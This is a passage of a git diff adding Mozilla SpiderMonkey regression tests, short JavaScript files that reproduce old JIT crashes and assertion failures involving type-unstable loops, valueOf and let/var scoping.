+var summary = 'TM: JIT: error with multiplicative loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f()
+ {
+ var k = 1;
+ for (var n = 0; n < 2; n++) {
+ k = (k * 10);
+ }
+ return k;
+ }
+ f();
+ print(f());
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465424.js b/js/src/tests/non262/regress/regress-465424.js
new file mode 100644
index 0000000000..35a4dd3fe3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465424.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465424;
+var summary = 'TM: issue with post-decrement operator';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '0,1,2,3,4,';
+
+ for (let j=0;j<5;++j) { jj=j; print(actual += '' + (jj--) + ',') }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465454.js b/js/src/tests/non262/regress/regress-465454.js
new file mode 100644
index 0000000000..3cdc72dda8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465454.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465454;
+var summary = 'TM: do not crash with type-unstable loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let b of [(-1/0), new String(''), new String(''), null, (-1/0),
+ (-1/0), new String(''), new String(''), null]) '' + b;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-01.js b/js/src/tests/non262/regress/regress-465460-01.js
new file mode 100644
index 0000000000..b3a0cfbdb6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '11111';
+
+
+ (function(d) { for (let j = 0; j < 5; ++j) { actual += ('' + d); } })({valueOf: function() { return 1; }});
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-02.js b/js/src/tests/non262/regress/regress-465460-02.js
new file mode 100644
index 0000000000..48a6cc1688
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let c of [null, null, null, {}]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-03.js b/js/src/tests/non262/regress/regress-465460-03.js
new file mode 100644
index 0000000000..0c5ac8cc24
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-03.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let j of [null, 2, 3]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-04.js b/js/src/tests/non262/regress/regress-465460-04.js
new file mode 100644
index 0000000000..497ee3be48
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-04.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 3; ++j) { 1 & new Date; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-05.js b/js/src/tests/non262/regress/regress-465460-05.js
new file mode 100644
index 0000000000..f33d103dd4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-05.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 3; ++j) { 1 & Date; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-06.js b/js/src/tests/non262/regress/regress-465460-06.js
new file mode 100644
index 0000000000..e4ca0c1403
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-06.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let x of [1, {}, 1, null, 1, {}, 1, null, 1]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-07.js b/js/src/tests/non262/regress/regress-465460-07.js
new file mode 100644
index 0000000000..8c74fb5d50
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-07.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'pass';
+
+ try
+ {
+ e = {}; for (j=0;j<3;++j) { 3 | e; } "PASS";
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-08.js b/js/src/tests/non262/regress/regress-465460-08.js
new file mode 100644
index 0000000000..5eeea0c776
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-08.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let _ of [{}, {}, null, null, null, null]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-10.js b/js/src/tests/non262/regress/regress-465460-10.js
new file mode 100644
index 0000000000..779a1dea55
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-10.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i = 0; i < 2; ++i) { ({}) + 3; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-11.js b/js/src/tests/non262/regress/regress-465460-11.js
new file mode 100644
index 0000000000..680b3d319d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-11.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let d=0;d<2;++d) for (let a=0;a<1;++a) "" + (d && function(){});
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-12.js b/js/src/tests/non262/regress/regress-465460-12.js
new file mode 100644
index 0000000000..fe0b1af3ee
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-12.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 2; ++j) { if (null > "") { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465483.js b/js/src/tests/non262/regress/regress-465483.js
new file mode 100644
index 0000000000..056d9df297
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465483.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465483;
+var summary = 'Type instability leads to undefined being added as a string instead of as a number';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'NaN';
+
+ for (i of [4, 'a', 'b', (void 0)]) print(actual = '' + (i + i));
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465484.js b/js/src/tests/non262/regress/regress-465484.js
new file mode 100644
index 0000000000..e4a598850b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465484.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465484;
+var summary = 'TM: Do not assert: _allocator.active[FST0] && _fpuStkDepth == -1 || ' +
+ '!_allocator.active[FST0] && _fpuStkDepth == 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let a of [2, 2, 2]) { a %= a; a %= a; }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465567-01.js b/js/src/tests/non262/regress/regress-465567-01.js
new file mode 100644
index 0000000000..862c2abe43
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465567-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465567;
+var summary = 'TM: Weirdness with var, let, multiple assignments';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '99999';
+
+
+for (let j = 0; j < 5; ++j) {
+ var e;
+ e = 9;
+ print(actual += '' + e);
+ e = 47;
+ if (e & 0) {
+ let e;
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-465567-02.js b/js/src/tests/non262/regress/regress-465567-02.js
new file mode 100644
index 0000000000..821b66ff78
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465567-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465567;
+var summary = 'TM: Do not assert: JSVAL_TAG(v) == JSVAL_OBJECT';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ eval("for (e of ['', true, 1, true, 1]) { e = null; if (0) { let e; var e; } }");
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-465686.js b/js/src/tests/non262/regress/regress-465686.js
new file mode 100644
index 0000000000..1b91fddb0a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465686.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465686;
+var summary = 'Do not crash @ tiny_free_list_add_ptr';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let b of [eval, eval, 4, 4]) {
+ ++b;
+ for (b of [(void 0), (void 0), (void 0), 3, (void 0), 3]) {
+ b ^= b;
+ for (var c of [1/0]) {
+ }
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465688.js b/js/src/tests/non262/regress/regress-465688.js
new file mode 100644
index 0000000000..acd68f44f5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465688.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465688;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp),';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let d of [-0x80000000, -0x80000000]) - -d;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466128.js b/js/src/tests/non262/regress/regress-466128.js
new file mode 100644
index 0000000000..a9808b1a98
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466128.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466128;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let a = 0; a < 3; ++a) {
+ for (let b of [1, 2, "three", 4, 5, 6, 7, 8]) {
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466262.js b/js/src/tests/non262/regress/regress-466262.js
new file mode 100644
index 0000000000..76406345d4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466262.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466262;
+var summary = 'Do not assert: f == f->root';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var e = 1;
+ for (var d = 0; d < 3; ++d) {
+ if (d == 2) {
+ e = "";
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466747.js b/js/src/tests/non262/regress/regress-466747.js
new file mode 100644
index 0000000000..c1731dca49
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466747.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466747;
+var summary = 'TM: Do not assert: fp->slots + fp->script->nfixed + ' +
+ 'js_ReconstructStackDepth(cx, fp->script, fp->regs->pc) == fp->regs->sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ gDelayTestDriverEnd = true;
+
+ function newScriptWithLoop(m)
+ {
+ var ns = document.createElement("script");
+ var nt = document.createTextNode("for (var q = 0; q < " + m + "; ++q) { }");
+ ns.appendChild(nt);
+ return ns;
+ }
+
+ function boom()
+ {
+ var div = document.createElement("div");
+ div.appendChild(newScriptWithLoop(7));
+ div.appendChild(newScriptWithLoop(1));
+ document.body.appendChild(div);
+
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ }
+
+ window.addEventListener('load', boom, false);
+}
diff --git a/js/src/tests/non262/regress/regress-466787.js b/js/src/tests/non262/regress/regress-466787.js
new file mode 100644
index 0000000000..8096910eae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466787.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466787;
+var summary = 'TM: new Number() should stay a number during recording';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '4444';
+
+
+ for (let j = 0; j < 4; ++j) { for (let one of [new Number(1)]) {
+ print(actual += '' + (3 + one)); } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466905-01.js b/js/src/tests/non262/regress/regress-466905-01.js
new file mode 100644
index 0000000000..1e039d24f8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466905-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Do not assert: v_ins->isCall() && v_ins->callInfo() == &js_FastNewArray_ci';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a) { for (let c of a) [(c > 5) ? 'A' : 'B']; }
+ f([true, 8]);
+ f([2]);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466905-02.js b/js/src/tests/non262/regress/regress-466905-02.js
new file mode 100644
index 0000000000..cfcc1b3e14
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466905-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Do not assert: v_ins->isCall() && v_ins->callInfo() == &js_FastNewArray_ci';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < 5; i++)
+ [(i > 3) ? 'a' : 'b'];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-01.js b/js/src/tests/non262/regress/regress-467495-01.js
new file mode 100644
index 0000000000..da914db262
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'Do not crash @ js_Interpret';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { x = 0; function x() { return 4; }; var x; const y = 1; })();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-02.js b/js/src/tests/non262/regress/regress-467495-02.js
new file mode 100644
index 0000000000..957e7d7c4b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'Do not crash @ js_Interpret';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("(function(){const y = 1; function x() '' let functional, x})();");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-03.js b/js/src/tests/non262/regress/regress-467495-03.js
new file mode 100644
index 0000000000..5f8e756535
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-03.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x)
+ {
+ actual = '';
+ var g;
+ print(actual += typeof g + ',');
+
+ if (x)
+ function g(){};
+
+ print(actual += g);
+ }
+
+ expect = 'undefined,undefined';
+ f(0);
+
+ reportCompare(expect, actual, summary + ': f(0): ');
+
+ expect = 'undefined,function g(){}';
+
+ f(1);
+
+ reportCompare(expect, actual, summary + ': f(1): ');
+}
diff --git a/js/src/tests/non262/regress/regress-467495-04.js b/js/src/tests/non262/regress/regress-467495-04.js
new file mode 100644
index 0000000000..d7227018ea
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-04.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function g() {
+ if (1)
+ function x() {};
+ var x;
+ const y = 1;
+ }
+
+ try
+ {
+ g();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-05.js b/js/src/tests/non262/regress/regress-467495-05.js
new file mode 100644
index 0000000000..f9089f354c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-05.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
